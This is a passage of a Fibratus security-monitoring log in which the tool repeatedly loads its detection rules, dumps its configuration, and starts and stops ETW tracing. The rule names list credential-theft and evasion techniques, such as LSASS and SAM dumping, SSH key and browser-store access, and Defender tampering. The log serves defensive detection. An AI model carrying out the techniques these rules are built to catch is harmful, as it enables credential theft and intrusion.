C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-20T16:48:00+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-20T16:48:00+01:00 level=info msg=bootstrapping with pid 18896. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T16:48:00+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] systray=>[ sound=>true quiet-mode=>false enabled=>false] mail=>[ enabled=>false port=>25 use-template=>true to=>[] content-type=>text/html] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-pe=>false serialize-handles=>false serialize-envs=>true] + eventsource .................... [ blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] stack-enrichment=>true enable-handle=>false enable-threadpool=>false enable-mem=>false enable-registry=>true flush-interval=>1s buffer-size=>512 enable-image=>true enable-audit-api=>true min-buffers=>16 enable-net=>true enable-vamap=>true max-buffers=>36 enable-dns=>false enable-thread=>true enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 formatter=>text max-backups=>15 max-age=>0 log-stdout=>true level=>info] + output ......................... [ amqp=>[ exchange=>fibratus tls-insecure-skip-verify=>false vhost=>/ durable=>false passive=>false delivery-mode=>transient routing-key=>fibratus url=>amqp://localhost:5672 exchange-type=>topic timeout=>5s enabled=>false] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ bulk-workers=>1 trace-log=>false healthcheck=>true servers=>[http://127.0.0.1:9200] flush-period=>1s healthcheck-timeout=>5s gzip-compression=>false timeout=>5s sniff=>false healthcheck-interval=>10s template-name=>fibratus index-name=>fibratus enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true] http=>[ timeout=>5s method=>POST enabled=>false tls-insecure-skip-verify=>false serializer=>json endpoints=>[] enable-gzip=>false]] + pe ............................. [ read-sections=>false excluded-images=>[svchost.exe] read-resources=>false read-symbols=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false skip-registry=>false skip-allocs=>false excluded-procs=>[] excluded-files=>[] enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-files=>false fastscan=>true scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-20T16:48:00+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T16:48:03+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T16:48:08+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T16:48:08+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T16:48:09+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T16:48:31+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-20T16:48:31+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-20T16:48:31+01:00 level=info msg=bootstrapping with pid 13064. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T16:48:31+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ enabled=>false port=>25 content-type=>text/html use-template=>true to=>[]] systray=>[ enabled=>false quiet-mode=>false sound=>true] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-threads=>false serialize-handles=>false serialize-envs=>true] + eventsource .................... [ enable-vamap=>true buffer-size=>512 enable-threadpool=>false enable-dns=>false max-buffers=>36 enable-thread=>true enable-net=>true enable-mem=>false stack-enrichment=>true enable-fileio=>true enable-handle=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-audit-api=>true enable-registry=>true min-buffers=>16 flush-interval=>1s enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 log-stdout=>true level=>info max-size=>100 formatter=>text max-age=>0] + output ......................... [ eventlog=>[ enabled=>false level=>info] elasticsearch=>[ template-name=>fibratus flush-period=>1s healthcheck=>true sniff=>false trace-log=>false index-name=>fibratus bulk-workers=>1 gzip-compression=>false healthcheck-interval=>10s enabled=>false healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] timeout=>5s] http=>[ timeout=>5s endpoints=>[] serializer=>json enabled=>false tls-insecure-skip-verify=>false method=>POST enable-gzip=>false] amqp=>[ tls-insecure-skip-verify=>false vhost=>/ durable=>false routing-key=>fibratus exchange-type=>topic passive=>false enabled=>false exchange=>fibratus delivery-mode=>transient timeout=>5s url=>amqp://localhost:5672] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty]] + pe ............................. [ read-symbols=>false read-resources=>false read-sections=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-files=>false fastscan=>true skip-mmaps=>false skip-registry=>false excluded-procs=>[] skip-allocs=>false enabled=>false excluded-files=>[] scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-20T16:48:32+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T16:48:34+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T16:48:35+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T16:48:35+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T16:48:37+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T16:50:48+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-20T16:50:48+01:00 level=info msg=loading rule from 